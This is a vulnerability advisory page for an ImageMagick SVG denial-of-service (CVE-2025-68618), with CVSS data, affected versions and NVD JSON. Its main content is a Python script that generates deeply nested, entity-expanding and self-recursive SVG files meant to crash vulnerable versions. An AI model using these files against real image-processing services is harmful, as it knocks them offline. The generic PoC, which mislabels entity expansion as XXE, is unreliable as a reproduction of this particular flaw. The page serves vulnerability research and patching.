Security Vulnerability Report
中文
CVE-2025-68618 CVSS 5.3 MEDIUM

CVE-2025-68618

Published: 2025-12-30 17:15:43
Last Modified: 2026-01-06 18:16:22

Description

ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to version 7.1.2-12, using Magick to read a malicious SVG file resulted in a DoS attack. Version 7.1.2-12 fixes the issue.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:* - VULNERABLE
ImageMagick < 7.1.2-12
ImageMagick 7.1.x 系列 < 7.1.2-12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-68618 PoC - ImageMagick SVG DoS This PoC generates a malicious SVG file that triggers a denial of service in ImageMagick versions prior to 7.1.2-12. Usage: python3 cve_2025_68618.py """ def generate_malicious_svg(): """Generate a malicious SVG file to trigger DoS in ImageMagick""" # Method 1: Deeply nested SVG elements nested_svg = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> ''' # Create deep nesting to trigger stack overflow or resource exhaustion for i in range(10000): nested_svg += f''' <g id="layer{i}"> <rect x="{i}" y="{i}" width="10" height="10" fill="red"/> <circle cx="{i}" cy="{i}" r="5" fill="blue"/> ''' # Close all nested elements for i in range(10000): nested_svg += ' </g>\n' nested_svg += '</svg>' return nested_svg def generate_xxe_svg(): """Generate SVG with external entity expansion (resource exhaustion)""" xxe_svg = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe1 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"> <!ENTITY xxe2 "&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;"> <!ENTITY xxe3 "&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;"> <!ENTITY xxe4 "&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;"> ]> <svg xmlns="http://www.w3.org/2000/svg" width="800" height="600"> <text x="10" y="20">&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;</text> <rect width="100" height="100">&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;</rect> </svg> ''' return xxe_svg def generate_recursive_use_svg(): """Generate SVG with recursive use elements""" recursive_svg = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="500" height="500"> <defs> <g id="recursive_element"> <circle cx="250" cy="250" r="100" fill="green"/> <use href="#recursive_element" transform="scale(0.5)"/> </g> </defs> <use href="#recursive_element"/> </svg> ''' return recursive_svg def main(): """Generate and save PoC SVG files""" # Generate nested SVG PoC with open('CVE-2025-68618_nested.svg', 'w', encoding='utf-8') as f: f.write(generate_malicious_svg()) print('[+] Generated: CVE-2025-68618_nested.svg') # Generate XXE SVG PoC with open('CVE-2025-68618_xxe.svg', 'w', encoding='utf-8') as f: f.write(generate_xxe_svg()) print('[+] Generated: CVE-2025-68618_xxe.svg') # Generate recursive SVG PoC with open('CVE-2025-68618_recursive.svg', 'w', encoding='utf-8') as f: f.write(generate_recursive_use_svg()) print('[+] Generated: CVE-2025-68618_recursive.svg') print('\n[!] To test, run: convert CVE-2025-68618_nested.svg output.png') print('[!] Affected versions: ImageMagick < 7.1.2-12') if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68618", "sourceIdentifier": "[email protected]", "published": "2025-12-30T17:15:43.463", "lastModified": "2026-01-06T18:16:21.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to version 7.1.2-12, using Magick to read a malicious SVG file resulted in a DoS attack. Version 7.1.2-12 fixes the issue."}, {"lang": "es", "value": "ImageMagick es un software libre y de código abierto utilizado para editar y manipular imágenes digitales. Antes de la versión 7.1.2-12, el uso de Magick para leer un archivo SVG malicioso resultaba en un ataque DoS. La versión 7.1.2-12 soluciona el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.1.2-12", "matchCriteriaId": "316134FB-09AF-4983-8BCC-E391E2C259E2"}]}]}], "references": [{"url": "https://github.com/ImageMagick/ImageMagick/commit/6f431d445f3ddd609c004a1dde617b0a73e60beb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-p27m-hp98-6637", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}